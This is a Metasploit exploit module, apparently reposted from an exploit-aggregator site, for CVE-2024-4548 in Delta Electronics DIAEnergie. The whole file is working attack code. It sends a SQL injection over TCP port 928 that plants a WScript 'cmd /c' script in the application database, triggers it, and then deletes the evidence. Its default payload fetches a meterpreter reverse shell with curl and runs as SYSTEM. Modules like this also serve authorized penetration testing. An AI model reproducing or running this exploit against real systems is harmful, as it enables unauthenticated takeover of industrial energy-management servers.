Share
## https://sploitus.com/exploit?id=PACKETSTORM:180334
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::Tcp  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',  
'Description' => %q{  
SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.  
This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Michael Heinzl', # MSF exploit  
'Tenable' # Discovery & PoC  
],  
'References' => [  
[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],  
[ 'CVE', '2024-4548']  
],  
'DisclosureDate' => '2024-05-06',  
'Platform' => 'win',  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => {  
'FETCH_COMMAND' => 'CURL',  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'  
},  
'Type' => :win_fetch  
}  
]  
],  
'DefaultTarget' => 0,  
  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(928)  
]  
)  
end  
  
# Determine if the DIAEnergie version is vulnerable  
def check  
begin  
connect  
sock.put 'Who is it?'  
res = sock.get || ''  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
vprint_error(e.message)  
return Exploit::CheckCode::Unknown  
ensure  
disconnect  
end  
  
if res.empty?  
vprint_status('Received an empty response.')  
return Exploit::CheckCode::Unknown  
end  
  
vprint_status('Who is it response: ' + res.to_s)  
version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/  
version = res.match(version_pattern)  
  
if version[0].nil?  
Exploit::CheckCode::Detected  
end  
  
vprint_status('Version retrieved: ' + version[0])  
  
unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')  
return CheckCode::Safe  
end  
  
return CheckCode::Appears  
end  
  
def exploit  
execute_command(payload.encoded)  
end  
  
def execute_command(cmd)  
scname = Rex::Text.rand_text_alphanumeric(5..10).to_s  
vprint_status('Using random script name: ' + scname)  
  
year = rand(2024..2026)  
month = sprintf('%02d', rand(1..12))  
day = sprintf('%02d', rand(1..29))  
random_date = "#{year}-#{month}-#{day}"  
vprint_status('Using random date: ' + random_date)  
  
hour = sprintf('%02d', rand(0..23))  
minute = sprintf('%02d', rand(0..59))  
second = sprintf('%02d', rand(0..59))  
random_time = "#{hour}:#{minute}:#{second}"  
vprint_status('Using random time: ' + random_time)  
  
# Inject payload  
begin  
print_status('Sending SQL injection...')  
connect  
vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")  
sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"  
res = sock.get  
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)  
end  
  
vprint_status('Injection - Expected response received: ' + res.to_s)  
disconnect  
  
# Trigger  
print_status('Triggering script execution...')  
connect  
sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"  
res = sock.get  
unless res.to_s == 'Recalculate Script Start!'  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)  
end  
vprint_status('Trigger - Expected response received: ' + res.to_s)  
  
disconnect  
  
print_good('Script successfully injected, check thy shell.')  
ensure  
# Cleanup  
print_status('Cleaning up database...')  
connect  
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"  
res = sock.get  
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)  
end  
vprint_status('Cleanup - Expected response received: ' + res.to_s)  
  
disconnect  
end  
end  
end